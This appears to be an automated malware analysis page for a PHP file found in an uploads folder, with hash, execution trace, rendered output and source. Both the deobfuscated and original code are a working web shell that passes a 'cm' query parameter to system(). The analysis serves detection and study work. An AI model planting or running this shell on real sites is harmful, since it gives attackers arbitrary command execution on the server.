PHP Malware Analysis

00000000ax.php

md5: 380eafd7e2c84564ff64aedbc78e66ae

Jump to:

Screenshot


Attributes

Execution

Input

Title


Deobfuscated PHP code

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>


    <form method="get">
        <input type="text" name="cm">
        <button type="submit">Submit</button>
    </form>


    <pre>
<?php 
if (isset($_GET['cm'])) {
    system($_GET['cm']);
}
?>

</pre>


</body>

</html>

Execution traces

data/traces/380eafd7e2c84564ff64aedbc78e66ae_trace-1676243496.2047.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:12:02.102565]
1	0	1	0.000250	393528
1	3	0	0.000311	394880	{main}	1		/var/www/html/uploads/00000000ax.php	0	0
1	3	1	0.000333	394880
			0.000373	314240
TRACE END   [2023-02-12 21:12:02.102731]


Generated HTML code

<html lang="en"><head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>


    <form method="get">
        <input type="text" name="cm">
        <button type="submit">Submit</button>
    </form>


    <pre>
</pre>




</body></html>

Original PHP code

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>


    <form method="get">
        <input type="text" name="cm">
        <button type="submit">Submit</button>
    </form>


    <pre>
<?php

if (isset($_GET['cm'])) {
    system($_GET['cm']);
}

?>

</pre>


</body>

</html>